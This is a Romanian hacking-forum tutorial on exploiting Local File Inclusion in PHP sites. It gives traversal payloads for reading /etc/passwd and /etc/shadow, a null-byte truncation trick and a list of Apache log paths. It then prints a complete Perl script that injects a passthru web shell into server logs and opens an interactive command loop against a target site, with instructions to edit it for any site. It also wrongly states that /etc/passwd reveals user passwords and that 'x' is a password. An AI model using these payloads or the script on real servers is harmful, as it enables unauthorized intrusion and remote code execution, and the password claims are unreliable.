LFI [Local File Inclusion]

Buna ziua! In acest tutorial o sa invatati cum cum sa exploatati vulnerabilitatea LFI dintr-un site.

Mai intai, sa vedem acest mic cod php:

Cod:

<?php $page = $_GET[page]; include($page); ?>

Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.

Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:

Cod:

site.host/index.php?page=../../../../../../../etc/passwd

Daca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola.
O parola criptata, ar trebui sa arate cam asa:

Cod:

username:x:503:100:FullName:/home/username:/bin/sh

In acest exemplu, parola este x, alt exemplu de parola fiind:

Cod:

username:!:503:100:FullName:/home/username:/bin/sh

Alte “locuri” unde puteti gasi parolele in afara de /etc/passwd ar cam fi:

Cod:

/etc/shadow /etc/group /etc/security/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/security/limits

In caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii %00, serverul va omite tot ce scrie dupa %00.
Exemplu de cod:

Cod:

site.host/index.php?file=../../../../../../../../etc/passwd%00

Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.
Cateva adrese de loguri:

Cod:

../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_log ../../../../../../../usr/local/apache/logs/access.log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_log ../../../../../../../usr/local/apache/logs/error.log ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache/error.log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log

Ok, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: <? passthru(\$_GET[cmd]) ?>. Daca scriem in browser:

Cod:

site.host/<? passthru(\$_GET[cmd]) ?>

O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL’ul si pagina pe care noi am accesat-o, browserul o traduce in:

Cod:

site.host/%3C?%20passthru(\$_GET[cmd])%20?>

Deci va trebui sa facem altceva… Putem utiliza urmatorul script perl:

Cod:

#!/usr/bin/perl -w use IO::Socket; use LWP::UserAgent; $site=”victim.com”; $path=”/folder/”; $code=”<? passthru(\$_GET[cmd]) ?>”; $log = “../../../../../../../etc/httpd/logs/error_log”;print “Trying to inject the code”; $socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80″) or die “\nConnection Failed.\n\n”; print $socket “GET “.$path.$code.” HTTP/1.1\r\n”; print $socket “User-Agent: “.$code.”\r\n”; print $socket “Host: “.$site.”\r\n”; print $socket “Connection: close\r\n\r\n”; close($socket); print “\nCode $code sucssefully injected in $log \n”; print “\nType command to run or exit to end: “; $cmd = <STDIN>; while($cmd !~ “exit”) { $socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80″) or die “\nConnection Failed.\n\n”; print $socket “GET “.$path.”index.php=”.$log.”&cmd=$cmd HTTP/1.1\r\n”; print $socket “Host: “.$site.”\r\n”; print $socket “Accept: */*\r\n”; print $socket “Connection: close\r\n\n”; while ($show = <$socket>) { print $show; } print “Type command to run or exit to end: “; $cmd = <STDIN>; }

Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:
1) modifica numele siteului
2) modifica numele logului si calea catre el
3) schimba index.php= cu ce doresti tu

Rulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!

Linkuri utile:

Cod:

http://www.milw0rm.com/video/watch.php?id=57

Acesta este un mic tutorial video, incercati sa-l vizionati ca este foarte bun.

Proof of Concept:
[img]
http://img355.imageshack.us/my.php?image=sitewe2.jpg
[/img]

Traducerea si adaptarea+modificari: vladiii